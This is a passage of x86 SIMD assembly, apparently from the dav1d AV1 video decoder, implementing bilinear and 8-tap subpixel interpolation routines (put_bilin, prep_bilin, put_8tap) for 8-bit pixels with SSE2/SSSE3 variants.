movu m1, [srcq+mmsize*0+8*1]
pshufb m0, m4
pshufb m1, m4
pmaddubsw m0, m5
pmaddubsw m1, m5
pmulhrsw m0, m3
pmulhrsw m1, m3
packuswb m0, m1
movu m1, [srcq+mmsize*1+8*0]
movu m2, [srcq+mmsize*1+8*1]
add srcq, ssq
pshufb m1, m4
pshufb m2, m4
pmaddubsw m1, m5
pmaddubsw m2, m5
pmulhrsw m1, m3
pmulhrsw m2, m3
packuswb m1, m2
mova [dstq+16*0], m0
mova [dstq+16*1], m1
add dstq, dsq
dec hd
jg .h_w32
RET
.h_w64:
mov r6, -16*3
.h_w64_loop:
movu m0, [srcq+r6+16*3+8*0]
movu m1, [srcq+r6+16*3+8*1]
pshufb m0, m4
pshufb m1, m4
pmaddubsw m0, m5
pmaddubsw m1, m5
pmulhrsw m0, m3
pmulhrsw m1, m3
packuswb m0, m1
mova [dstq+r6+16*3], m0
add r6, 16
jle .h_w64_loop
add srcq, ssq
add dstq, dsq
dec hd
jg .h_w64
RET
.h_w128:
mov r6, -16*7
.h_w128_loop:
movu m0, [srcq+r6+16*7+8*0]
movu m1, [srcq+r6+16*7+8*1]
pshufb m0, m4
pshufb m1, m4
pmaddubsw m0, m5
pmaddubsw m1, m5
pmulhrsw m0, m3
pmulhrsw m1, m3
packuswb m0, m1
mova [dstq+r6+16*7], m0
add r6, 16
jle .h_w128_loop
add srcq, ssq
add dstq, dsq
dec hd
jg .h_w128
RET
.v:
movzx wd, word [t0+wq*2+table_offset(put, _bilin_v)]
imul mxyd, 0x00ff00ff
mova m5, [base+pw_2048]
add mxyd, 0x00100010
add wq, t0
movd m4, mxyd
pshufd m4, m4, q0000
movifnidn dsq, dsmp
jmp wq
.v_w2:
movd m0, [srcq+ssq*0]
.v_w2_loop:
pinsrw m0, [srcq+ssq*1], 1 ; 0 1
lea srcq, [srcq+ssq*2]
pshuflw m1, m0, q2301
pinsrw m0, [srcq+ssq*0], 0 ; 2 1
punpcklbw m1, m0
pmaddubsw m1, m4
pmulhrsw m1, m5
packuswb m1, m1
movd r6d, m1
mov [dstq+dsq*1], r6w
shr r6d, 16
mov [dstq+dsq*0], r6w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w2_loop
RET
.v_w4:
movd m0, [srcq+ssq*0]
.v_w4_loop:
movd m2, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova m1, m0
movd m0, [srcq+ssq*0]
punpckldq m1, m2 ; 0 1
punpckldq m2, m0 ; 1 2
punpcklbw m1, m2
pmaddubsw m1, m4
pmulhrsw m1, m5
packuswb m1, m1
movd [dstq+dsq*0], m1
psrlq m1, 32
movd [dstq+dsq*1], m1
;
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w4_loop
RET
.v_w8:
movq m0, [srcq+ssq*0]
.v_w8_loop:
movq m2, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova m1, m0
movq m0, [srcq+ssq*0]
punpcklbw m1, m2
punpcklbw m2, m0
pmaddubsw m1, m4
pmaddubsw m2, m4
pmulhrsw m1, m5
pmulhrsw m2, m5
packuswb m1, m2
movq [dstq+dsq*0], m1
movhps [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w8_loop
RET
%macro PUT_BILIN_V_W16 0
movu m0, [srcq+ssq*0]
%%loop:
movu m3, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova m1, m0
mova m2, m0
movu m0, [srcq+ssq*0]
punpcklbw m1, m3
punpckhbw m2, m3
pmaddubsw m1, m4
pmaddubsw m2, m4
pmulhrsw m1, m5
pmulhrsw m2, m5
packuswb m1, m2
punpcklbw m2, m3, m0
punpckhbw m3, m0
pmaddubsw m2, m4
pmaddubsw m3, m4
pmulhrsw m2, m5
pmulhrsw m3, m5
packuswb m2, m3
mova [dstq+dsq*0], m1
mova [dstq+dsq*1], m2
lea dstq, [dstq+dsq*2]
sub hd, 2
jg %%loop
%endmacro
.v_w16:
PUT_BILIN_V_W16
RET
.v_w128:
lea r6d, [hq+(7<<16)]
jmp .v_w16gt
.v_w64:
lea r6d, [hq+(3<<16)]
jmp .v_w16gt
.v_w32:
lea r6d, [hq+(1<<16)]
.v_w16gt:
mov r4, srcq
%if ARCH_X86_64
mov r7, dstq
%endif
.v_w16gt_loop:
PUT_BILIN_V_W16
%if ARCH_X86_64
add r4, 16
add r7, 16
movzx hd, r6b
mov srcq, r4
mov dstq, r7
%else
mov dstq, dstmp
add r4, 16
movzx hd, r6w
add dstq, 16
mov srcq, r4
mov dstmp, dstq
%endif
sub r6d, 1<<16
jg .v_w16gt
RET
.hv:
; (16 * src[x] + (my * (src[x + src_stride] - src[x])) + 128) >> 8
; = (src[x] + ((my * (src[x + src_stride] - src[x])) >> 4) + 8) >> 4
movzx wd, word [t0+wq*2+table_offset(put, _bilin_hv)]
WIN64_SPILL_XMM 8
shl mxyd, 11 ; can't shift by 12 due to signed overflow
mova m7, [base+pw_15]
movd m6, mxyd
add wq, t0
pshuflw m6, m6, q0000
paddb m5, m5
punpcklqdq m6, m6
jmp wq
.hv_w2:
RESTORE_DSQ_32 t0
movd m0, [srcq+ssq*0]
punpckldq m0, m0
pshufb m0, m4
pmaddubsw m0, m5
.hv_w2_loop:
movd m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
movd m2, [srcq+ssq*0]
punpckldq m1, m2
pshufb m1, m4
pmaddubsw m1, m5 ; 1 _ 2 _
shufps m2, m0, m1, q1032 ; 0 _ 1 _
mova m0, m1
psubw m1, m2 ; 2 * (src[x + src_stride] - src[x])
pmulhw m1, m6 ; (my * (src[x + src_stride] - src[x]) >> 4
pavgw m2, m7 ; src[x] + 8
paddw m1, m2 ; src[x] + ((my * (src[x + src_stride] - src[x])) >> 4) + 8
psrlw m1, 4
packuswb m1, m1
%if ARCH_X86_64
movq r6, m1
%else
pshuflw m1, m1, q2020
movd r6d, m1
%endif
mov [dstq+dsq*0], r6w
shr r6, gprsize*4
mov [dstq+dsq*1], r6w
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w2_loop
RET
.hv_w4:
mova m4, [base+bilin_h_shuf4]
movddup m0, [srcq+ssq*0]
movifnidn dsq, dsmp
pshufb m0, m4
pmaddubsw m0, m5
.hv_w4_loop:
movq m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
movhps m1, [srcq+ssq*0]
pshufb m1, m4
pmaddubsw m1, m5 ; 1 2
shufps m2, m0, m1, q1032 ; 0 1
mova m0, m1
psubw m1, m2
pmulhw m1, m6
pavgw m2, m7
paddw m1, m2
psrlw m1, 4
packuswb m1, m1
movd [dstq+dsq*0], m1
psrlq m1, 32
movd [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w4_loop
RET
.hv_w8:
movu m0, [srcq+ssq*0]
movifnidn dsq, dsmp
pshufb m0, m4
pmaddubsw m0, m5
.hv_w8_loop:
movu m2, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pshufb m2, m4
pmaddubsw m2, m5
psubw m1, m2, m0
pmulhw m1, m6
pavgw m0, m7
paddw m1, m0
movu m0, [srcq+ssq*0]
pshufb m0, m4
pmaddubsw m0, m5
psubw m3, m0, m2
pmulhw m3, m6
pavgw m2, m7
paddw m3, m2
psrlw m1, 4
psrlw m3, 4
packuswb m1, m3
movq [dstq+dsq*0], m1
movhps [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w8_loop
RET
.hv_w128:
lea r6d, [hq+(7<<16)]
jmp .hv_w16_start
.hv_w64:
lea r6d, [hq+(3<<16)]
jmp .hv_w16_start
.hv_w32:
lea r6d, [hq+(1<<16)]
.hv_w16_start:
mov r4, srcq
%if ARCH_X86_32
%define m8 [dstq]
%else
mov r7, dstq
%endif
.hv_w16:
movifnidn dsq, dsmp
%if WIN64
movaps r4m, m8
%endif
.hv_w16_loop0:
movu m0, [srcq+8*0]
movu m1, [srcq+8*1]
pshufb m0, m4
pshufb m1, m4
pmaddubsw m0, m5
pmaddubsw m1, m5
.hv_w16_loop:
add srcq, ssq
movu m2, [srcq+8*0]
movu m3, [srcq+8*1]
pshufb m2, m4
pshufb m3, m4
pmaddubsw m2, m5
pmaddubsw m3, m5
mova m8, m2
psubw m2, m0
pmulhw m2, m6
pavgw m0, m7
paddw m2, m0
mova m0, m3
psubw m3, m1
pmulhw m3, m6
pavgw m1, m7
paddw m3, m1
mova m1, m0
mova m0, m8
psrlw m2, 4
psrlw m3, 4
packuswb m2, m3
mova [dstq], m2
add dstq, dsmp
dec hd
jg .hv_w16_loop
%if ARCH_X86_32
mov dstq, dstm
add r4, 16
movzx hd, r6w
add dstq, 16
mov srcq, r4
mov dstm, dstq
%else
add r4, 16
add r7, 16
movzx hd, r6b
mov srcq, r4
mov dstq, r7
%endif
sub r6d, 1<<16
jg .hv_w16_loop0
%if WIN64
movaps m8, r4m
%endif
RET
%macro PSHUFB_BILIN_H8 2 ; dst, src
%if cpuflag(ssse3)
pshufb %1, %2
%else
psrldq %2, %1, 1
punpcklbw %1, %2
%endif
%endmacro
%macro PSHUFB_BILIN_H4 3 ; dst, src, tmp
%if cpuflag(ssse3)
pshufb %1, %2
%else
psrldq %2, %1, 1
punpckhbw %3, %1, %2
punpcklbw %1, %2
punpcklqdq %1, %3
%endif
%endmacro
%macro PMADDUBSW 5 ; dst/src1, src2, zero, tmp, reset_zero
%if cpuflag(ssse3)
pmaddubsw %1, %2
%else
%if %5 == 1
pxor %3, %3
%endif
punpckhbw %4, %1, %3
punpcklbw %1, %1, %3
pmaddwd %4, %2
pmaddwd %1, %2
packssdw %1, %4
%endif
%endmacro
%macro PMULHRSW 5 ; dst, src, tmp, rndval, shift
%if cpuflag(ssse3)
pmulhrsw %1, %2
%else
punpckhwd %3, %1, %4
punpcklwd %1, %4
pmaddwd %3, %2
pmaddwd %1, %2
psrad %3, %5
psrad %1, %5
packssdw %1, %3
%endif
%endmacro
%macro PREP_BILIN 0
%if ARCH_X86_32
%define base r6-prep%+SUFFIX
%else
%define base 0
%endif
cglobal prep_bilin_8bpc, 3, 7, 0, tmp, src, stride, w, h, mxy, stride3
movifnidn mxyd, r5m ; mx
LEA r6, prep%+SUFFIX
tzcnt wd, wm
movifnidn hd, hm
test mxyd, mxyd
jnz .h
mov mxyd, r6m ; my
test mxyd, mxyd
jnz .v
.prep:
%if notcpuflag(ssse3)
add r6, prep_ssse3 - prep_sse2
jmp prep_ssse3
%else
movzx wd, word [r6+wq*2+table_offset(prep,)]
pxor m4, m4
add wq, r6
lea stride3q, [strideq*3]
jmp wq
.prep_w4:
movd m0, [srcq+strideq*0]
movd m1, [srcq+strideq*1]
movd m2, [srcq+strideq*2]
movd m3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
punpckldq m0, m1
punpckldq m2, m3
punpcklbw m0, m4
punpcklbw m2, m4
psllw m0, 4
psllw m2, 4
mova [tmpq+16*0], m0
mova [tmpq+16*1], m2
add tmpq, 16*2
sub hd, 4
jg .prep_w4
RET
.prep_w8:
movq m0, [srcq+strideq*0]
movq m1, [srcq+strideq*1]
movq m2, [srcq+strideq*2]
movq m3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
punpcklbw m0, m4
punpcklbw m1, m4
punpcklbw m2, m4
punpcklbw m3, m4
psllw m0, 4
psllw m1, 4
psllw m2, 4
psllw m3, 4
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
sub hd, 4
jg .prep_w8
RET
.prep_w16:
movu m1, [srcq+strideq*0]
movu m3, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
punpcklbw m0, m1, m4
punpckhbw m1, m4
punpcklbw m2, m3, m4
punpckhbw m3, m4
psllw m0, 4
psllw m1, 4
psllw m2, 4
psllw m3, 4
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
sub hd, 2
jg .prep_w16
RET
.prep_w128:
mov r3, -128
jmp .prep_w32_start
.prep_w64:
mov r3, -64
jmp .prep_w32_start
.prep_w32:
mov r3, -32
.prep_w32_start:
sub srcq, r3
.prep_w32_vloop:
mov r6, r3
.prep_w32_hloop:
movu m1, [srcq+r6+16*0]
movu m3, [srcq+r6+16*1]
punpcklbw m0, m1, m4
punpckhbw m1, m4
punpcklbw m2, m3, m4
punpckhbw m3, m4
psllw m0, 4
psllw m1, 4
psllw m2, 4
psllw m3, 4
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
add r6, 32
jl .prep_w32_hloop
add srcq, strideq
dec hd
jg .prep_w32_vloop
RET
%endif
.h:
; 16 * src[x] + (mx * (src[x + 1] - src[x]))
; = (16 - mx) * src[x] + mx * src[x + 1]
%if cpuflag(ssse3)
imul mxyd, 0x00ff00ff
mova m4, [base+bilin_h_shuf8]
add mxyd, 0x00100010
%else
imul mxyd, 0xffff
add mxyd, 16
%endif
movd m5, mxyd
mov mxyd, r6m ; my
pshufd m5, m5, q0000
test mxyd, mxyd
jnz .hv
movzx wd, word [r6+wq*2+table_offset(prep, _bilin_h)]
%if notcpuflag(ssse3)
WIN64_SPILL_XMM 8
pxor m6, m6
%endif
add wq, r6
jmp wq
.h_w4:
%if cpuflag(ssse3)
mova m4, [base+bilin_h_shuf4]
%endif
lea stride3q, [strideq*3]
.h_w4_loop:
movq m0, [srcq+strideq*0]
movhps m0, [srcq+strideq*1]
movq m1, [srcq+strideq*2]
movhps m1, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
PSHUFB_BILIN_H4 m0, m4, m2
PMADDUBSW m0, m5, m6, m2, 0
PSHUFB_BILIN_H4 m1, m4, m2
PMADDUBSW m1, m5, m6, m2, 0
mova [tmpq+0 ], m0
mova [tmpq+16], m1
add tmpq, 32
sub hd, 4
jg .h_w4_loop
RET
.h_w8:
lea stride3q, [strideq*3]
.h_w8_loop:
movu m0, [srcq+strideq*0]
movu m1, [srcq+strideq*1]
movu m2, [srcq+strideq*2]
movu m3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
PSHUFB_BILIN_H8 m0, m4
PSHUFB_BILIN_H8 m1, m4
PSHUFB_BILIN_H8 m2, m4
PSHUFB_BILIN_H8 m3, m4
PMADDUBSW m0, m5, m6, m7, 0
PMADDUBSW m1, m5, m6, m7, 0
PMADDUBSW m2, m5, m6, m7, 0
PMADDUBSW m3, m5, m6, m7, 0
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
sub hd, 4
jg .h_w8_loop
RET
.h_w16:
movu m0, [srcq+strideq*0+8*0]
movu m1, [srcq+strideq*0+8*1]
movu m2, [srcq+strideq*1+8*0]
movu m3, [srcq+strideq*1+8*1]
lea srcq, [srcq+strideq*2]
PSHUFB_BILIN_H8 m0, m4
PSHUFB_BILIN_H8 m1, m4
PSHUFB_BILIN_H8 m2, m4
PSHUFB_BILIN_H8 m3, m4
PMADDUBSW m0, m5, m6, m7, 0
PMADDUBSW m1, m5, m6, m7, 0
PMADDUBSW m2, m5, m6, m7, 0
PMADDUBSW m3, m5, m6, m7, 0
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
sub hd, 2
jg .h_w16
RET
.h_w128:
mov r3, -128
jmp .h_w32_start
.h_w64:
mov r3, -64
jmp .h_w32_start
.h_w32:
mov r3, -32
.h_w32_start:
sub srcq, r3
.h_w32_vloop:
mov r6, r3
.h_w32_hloop:
movu m0, [srcq+r6+8*0]
movu m1, [srcq+r6+8*1]
movu m2, [srcq+r6+8*2]
movu m3, [srcq+r6+8*3]
PSHUFB_BILIN_H8 m0, m4
PSHUFB_BILIN_H8 m1, m4
PSHUFB_BILIN_H8 m2, m4
PSHUFB_BILIN_H8 m3, m4
PMADDUBSW m0, m5, m6, m7, 0
PMADDUBSW m1, m5, m6, m7, 0
PMADDUBSW m2, m5, m6, m7, 0
PMADDUBSW m3, m5, m6, m7, 0
mova [tmpq+16*0], m0
mova [tmpq+16*1], m1
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
add r6, 32
jl .h_w32_hloop
add srcq, strideq
dec hd
jg .h_w32_vloop
RET
.v:
%if notcpuflag(ssse3)
%assign stack_offset stack_offset - stack_size_padded
WIN64_SPILL_XMM 8
%endif
movzx wd, word [r6+wq*2+table_offset(prep, _bilin_v)]
%if cpuflag(ssse3)
imul mxyd, 0x00ff00ff
add mxyd, 0x00100010
%else
imul mxyd, 0xffff
pxor m6, m6
add mxyd, 16
%endif
add wq, r6
lea stride3q, [strideq*3]
movd m5, mxyd
pshufd m5, m5, q0000
jmp wq
.v_w4:
movd m0, [srcq+strideq*0]
.v_w4_loop:
movd m1, [srcq+strideq*1]
movd m2, [srcq+strideq*2]
movd m3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
punpckldq m0, m1
punpckldq m1, m2
punpcklbw m0, m1 ; 01 12
PMADDUBSW m0, m5, m6, m7, 0
mova [tmpq+16*0], m0
movd m0, [srcq+strideq*0]
punpckldq m2, m3
punpckldq m3, m0
punpcklbw m2, m3 ; 23 34
PMADDUBSW m2, m5, m6, m7, 0
mova [tmpq+16*1], m2
add tmpq, 16*2
sub hd, 4
jg .v_w4_loop
RET
.v_w8:
movq m0, [srcq+strideq*0]
.v_w8_loop:
movq m1, [srcq+strideq*1]
movq m2, [srcq+strideq*2]
movq m3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
punpcklbw m0, m1 ; 01
punpcklbw m1, m2 ; 12
PMADDUBSW m0, m5, m6, m7, 0
PMADDUBSW m1, m5, m6, m7, 0
mova [tmpq+16*0], m0
movq m0, [srcq+strideq*0]
punpcklbw m2, m3 ; 23
punpcklbw m3, m0 ; 34
PMADDUBSW m2, m5, m6, m7, 0
mova [tmpq+16*1], m1
PMADDUBSW m3, m5, m6, m7, 0
mova [tmpq+16*2], m2
mova [tmpq+16*3], m3
add tmpq, 16*4
sub hd, 4
jg .v_w8_loop
RET
.v_w16:
movu m0, [srcq+strideq*0]
.v_w16_loop:
movu m1, [srcq+strideq*1]
movu m2, [srcq+strideq*2]
movu m3, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
punpcklbw m4, m0, m1
punpckhbw m0, m1
PMADDUBSW m4, m5, m6, m7, 0
PMADDUBSW m0, m5, m6, m7, 0
mova [tmpq+16*0], m4
punpcklbw m4, m1, m2
punpckhbw m1, m2
PMADDUBSW m4, m5, m6, m7, 0
mova [tmpq+16*1], m0
movu m0, [srcq+strideq*0]
PMADDUBSW m1, m5, m6, m7, 0
mova [tmpq+16*2], m4
punpcklbw m4, m2, m3
punpckhbw m2, m3
PMADDUBSW m4, m5, m6, m7, 0
mova [tmpq+16*3], m1
PMADDUBSW m2, m5, m6, m7, 0
mova [tmpq+16*4], m4
punpcklbw m4, m3, m0
punpckhbw m3, m0
PMADDUBSW m4, m5, m6, m7, 0
mova [tmpq+16*5], m2
PMADDUBSW m3, m5, m6, m7, 0
mova [tmpq+16*6], m4
mova [tmpq+16*7], m3
add tmpq, 16*8
sub hd, 4
jg .v_w16_loop
RET
.v_w128:
lea r3d, [hq+(3<<8)]
mov r6d, 256
jmp .v_w32_start
.v_w64:
lea r3d, [hq+(1<<8)]
mov r6d, 128
jmp .v_w32_start
.v_w32:
xor r3d, r3d
mov r6d, 64
.v_w32_start:
%if ARCH_X86_64
%if WIN64
PUSH r7
%endif
mov r7, tmpq
%endif
mov r5, srcq
.v_w32_hloop:
movu m0, [srcq+strideq*0+16*0]
movu m1, [srcq+strideq*0+16*1]
.v_w32_vloop:
movu m2, [srcq+strideq*1+16*0]
movu m3, [srcq+strideq*1+16*1]
lea srcq, [srcq+strideq*2]
punpcklbw m4, m0, m2
punpckhbw m0, m2
PMADDUBSW m4, m5, m6, m7, 0
PMADDUBSW m0, m5, m6, m7, 0
mova [tmpq+16*0], m4
mova [tmpq+16*1], m0
movu m0, [srcq+strideq*0+16*0]
punpcklbw m4, m1, m3
punpckhbw m1, m3
PMADDUBSW m4, m5, m6, m7, 0
PMADDUBSW m1, m5, m6, m7, 0
mova [tmpq+16*2], m4
mova [tmpq+16*3], m1
movu m1, [srcq+strideq*0+16*1]
add tmpq, r6
punpcklbw m4, m2, m0
punpckhbw m2, m0
PMADDUBSW m4, m5, m6, m7, 0
PMADDUBSW m2, m5, m6, m7, 0
mova [tmpq+16*0], m4
mova [tmpq+16*1], m2
punpcklbw m4, m3, m1
punpckhbw m3, m1
PMADDUBSW m4, m5, m6, m7, 0
PMADDUBSW m3, m5, m6, m7, 0
mova [tmpq+16*2], m4
mova [tmpq+16*3], m3
add tmpq, r6
sub hd, 2
jg .v_w32_vloop
add r5, 32
movzx hd, r3b
mov srcq, r5
%if ARCH_X86_64
add r7, 16*4
mov tmpq, r7
%else
mov tmpq, tmpmp
add tmpq, 16*4
mov tmpmp, tmpq
%endif
sub r3d, 1<<8
jg .v_w32_hloop
%if WIN64
POP r7
%endif
RET
.hv:
; (16 * src[x] + (my * (src[x + src_stride] - src[x])) + 8) >> 4
; = src[x] + (((my * (src[x + src_stride] - src[x])) + 8) >> 4)
movzx wd, word [r6+wq*2+table_offset(prep, _bilin_hv)]
%assign stack_offset stack_offset - stack_size_padded
%if cpuflag(ssse3)
imul mxyd, 0x08000800
WIN64_SPILL_XMM 8
%else
or mxyd, 1<<16
WIN64_SPILL_XMM 9
%if ARCH_X86_64
mova m8, [base+pw_8]
%else
%define m8 [base+pw_8]
%endif
pxor m7, m7
%endif
movd m6, mxyd
add wq, r6
pshufd m6, m6, q0000
jmp wq
.hv_w4:
%if cpuflag(ssse3)
mova m4, [base+bilin_h_shuf4]
movddup m0, [srcq+strideq*0]
%else
movhps m0, [srcq+strideq*0]
%endif
lea r3, [strideq*3]
PSHUFB_BILIN_H4 m0, m4, m3
PMADDUBSW m0, m5, m7, m4, 0 ; _ 0
.hv_w4_loop:
movq m1, [srcq+strideq*1]
movhps m1, [srcq+strideq*2]
movq m2, [srcq+r3 ]
lea srcq, [srcq+strideq*4]
movhps m2, [srcq+strideq*0]
PSHUFB_BILIN_H4 m1, m4, m3
PSHUFB_BILIN_H4 m2, m4, m3
PMADDUBSW m1, m5, m7, m4, 0 ; 1 2
PMADDUBSW m2, m5, m7, m4, 0 ; 3 4
shufpd m0, m1, 0x01 ; 0 1
shufpd m3, m1, m2, 0x01 ; 2 3
psubw m1, m0
PMULHRSW m1, m6, m4, m8, 4
paddw m1, m0
mova m0, m2
psubw m2, m3
PMULHRSW m2, m6, m4, m8, 4
paddw m2, m3
mova [tmpq+16*0], m1
mova [tmpq+16*1], m2
add tmpq, 32
sub hd, 4
jg .hv_w4_loop
RET
.hv_w8:
movu m0, [srcq+strideq*0]
PSHUFB_BILIN_H8 m0, m4
PMADDUBSW m0, m5, m7, m4, 0 ; 0
.hv_w8_loop:
movu m1, [srcq+strideq*1]
lea srcq, [srcq+strideq*2]
movu m2, [srcq+strideq*0]
PSHUFB_BILIN_H8 m1, m4
PSHUFB_BILIN_H8 m2, m4
PMADDUBSW m1, m5, m7, m4, 0 ; 1
PMADDUBSW m2, m5, m7, m4, 0 ; 2
psubw m3, m1, m0
PMULHRSW m3, m6, m4, m8, 4
paddw m3, m0
mova m0, m2
psubw m2, m1
PMULHRSW m2, m6, m4, m8, 4
paddw m2, m1
mova [tmpq+16*0], m3
mova [tmpq+16*1], m2
add tmpq, 16*2
sub hd, 2
jg .hv_w8_loop
RET
.hv_w128:
lea r3d, [hq+(7<<8)]
mov r5d, 256
jmp .hv_w16_start
.hv_w64:
lea r3d, [hq+(3<<8)]
mov r5d, 128
jmp .hv_w16_start
.hv_w32:
lea r3d, [hq+(1<<8)]
mov r5d, 64
jmp .hv_w16_start
.hv_w16:
xor r3d, r3d
mov r5d, 32
.hv_w16_start:
%if ARCH_X86_64 || cpuflag(ssse3)
mov r6, srcq
%endif
%if ARCH_X86_64
%if WIN64
PUSH r7
%endif
mov r7, tmpq
%endif
.hv_w16_hloop:
movu m0, [srcq+strideq*0+8*0]
movu m1, [srcq+strideq*0+8*1]
PSHUFB_BILIN_H8 m0, m4
PSHUFB_BILIN_H8 m1, m4
PMADDUBSW m0, m5, m7, m4, 0 ; 0a
PMADDUBSW m1, m5, m7, m4, 0 ; 0b
.hv_w16_vloop:
movu m2, [srcq+strideq*1+8*0]
PSHUFB_BILIN_H8 m2, m4
PMADDUBSW m2, m5, m7, m4, 0 ; 1a
psubw m3, m2, m0
PMULHRSW m3, m6, m4, m8, 4
paddw m3, m0
mova [tmpq+16*0], m3
movu m3, [srcq+strideq*1+8*1]
lea srcq, [srcq+strideq*2]
PSHUFB_BILIN_H8 m3, m4
PMADDUBSW m3, m5, m7, m4, 0 ; 1b
psubw m0, m3, m1
PMULHRSW m0, m6, m4, m8, 4
paddw m0, m1
mova [tmpq+16*1], m0
add tmpq, r5
movu m0, [srcq+strideq*0+8*0]
PSHUFB_BILIN_H8 m0, m4
PMADDUBSW m0, m5, m7, m4, 0 ; 2a
psubw m1, m0, m2
PMULHRSW m1, m6, m4, m8, 4
paddw m1, m2
mova [tmpq+16*0], m1
movu m1, [srcq+strideq*0+8*1]
PSHUFB_BILIN_H8 m1, m4
PMADDUBSW m1, m5, m7, m4, 0 ; 2b
psubw m2, m1, m3
PMULHRSW m2, m6, m4, m8, 4
paddw m2, m3
mova [tmpq+16*1], m2
add tmpq, r5
sub hd, 2
jg .hv_w16_vloop
movzx hd, r3b
%if ARCH_X86_64
add r6, 16
add r7, 2*16
mov srcq, r6
mov tmpq, r7
%elif cpuflag(ssse3)
mov tmpq, tmpm
add r6, 16
add tmpq, 2*16
mov srcq, r6
mov tmpm, tmpq
%else
mov srcq, srcm
mov tmpq, tmpm
add srcq, 16
add tmpq, 2*16
mov srcm, srcq
mov tmpm, tmpq
%endif
sub r3d, 1<<8
jg .hv_w16_hloop
%if WIN64
POP r7
%endif
RET
%endmacro
; int8_t subpel_filters[5][15][8]
%assign FILTER_REGULAR (0*15 << 16) | 3*15
%assign FILTER_SMOOTH (1*15 << 16) | 4*15
%assign FILTER_SHARP (2*15 << 16) | 3*15
%macro FN 4 ; prefix, type, type_h, type_v
cglobal %1_%2_8bpc
mov t0d, FILTER_%3
%ifidn %3, %4
mov t1d, t0d
%else
mov t1d, FILTER_%4
%endif
%ifnidn %2, regular ; skip the jump in the last filter
jmp mangle(private_prefix %+ _%1_8bpc %+ SUFFIX)
%endif
%endmacro
%if ARCH_X86_32
DECLARE_REG_TMP 1, 2
%elif WIN64
DECLARE_REG_TMP 4, 5
%else
DECLARE_REG_TMP 7, 8
%endif
FN put_8tap, sharp, SHARP, SHARP
FN put_8tap, sharp_smooth, SHARP, SMOOTH
FN put_8tap, smooth_sharp, SMOOTH, SHARP
FN put_8tap, smooth, SMOOTH, SMOOTH
FN put_8tap, sharp_regular, SHARP, REGULAR
FN put_8tap, regular_sharp, REGULAR, SHARP
FN put_8tap, smooth_regular, SMOOTH, REGULAR
FN put_8tap, regular_smooth, REGULAR, SMOOTH
FN put_8tap, regular, REGULAR, REGULAR
%if ARCH_X86_32
%define base_reg r1
%define base base_reg-put_ssse3
%else
%define base_reg r8
%define base 0
%endif
cglobal put_8tap_8bpc, 1, 9, 0, dst, ds, src, ss, w, h, mx, my, ss3
%assign org_stack_offset stack_offset
imul mxd, mxm, 0x010101
add mxd, t0d ; 8tap_h, mx, 4tap_h
%if ARCH_X86_64
imul myd, mym, 0x010101
add myd, t1d ; 8tap_v, my, 4tap_v
%else
imul ssd, mym, 0x010101
add ssd, t1d ; 8tap_v, my, 4tap_v
mov srcq, srcm
%endif
mov wd, wm
movifnidn hd, hm
LEA base_reg, put_ssse3
test mxd, 0xf00
jnz .h
%if ARCH_X86_32
test ssd, 0xf00
%else
test myd, 0xf00
%endif
jnz .v
tzcnt wd, wd
movzx wd, word [base_reg+wq*2+table_offset(put,)]
add wq, base_reg
; put_bilin mangling jump
%assign stack_offset org_stack_offset
movifnidn dsq, dsmp
movifnidn ssq, ssmp
%if WIN64
pop r8
%endif
lea r6, [ssq*3]
jmp wq
.h:
%if ARCH_X86_32
test ssd, 0xf00
%else
test myd, 0xf00
%endif
jnz .hv
movifnidn ssq, ssmp
WIN64_SPILL_XMM 12
cmp wd, 4
jl .h_w2
je .h_w4
tzcnt wd, wd
%if ARCH_X86_64
mova m10, [base+subpel_h_shufA]
mova m11, [base+subpel_h_shufB]
mova m9, [base+subpel_h_shufC]
%endif
shr mxd, 16
sub srcq, 3
movzx wd, word [base_reg+wq*2+table_offset(put, _8tap_h)]
movq m6, [base_reg+mxq*8+subpel_filters-put_ssse3]
mova m7, [base+pw_34] ; 2 + (8 << 2)
pshufd m5, m6, q0000
pshufd m6, m6, q1111
add wq, base_reg
jmp wq
.h_w2:
%if ARCH_X86_32
and mxd, 0x7f
%else
movzx mxd, mxb
%endif
dec srcq
mova m4, [base+subpel_h_shuf4]
movd m3, [base_reg+mxq*8+subpel_filters-put_ssse3+2]
mova m5, [base+pw_34] ; 2 + (8 << 2)
pshufd m3, m3, q0000
movifnidn dsq, dsmp
.h_w2_loop:
movq m0, [srcq+ssq*0]
movhps m0, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pshufb m0, m4
pmaddubsw m0, m3
phaddw m0, m0
paddw m0, m5 ; pw34
psraw m0, 6
packuswb m0, m0
movd r6d, m0
mov [dstq+dsq*0], r6w
shr r6d, 16
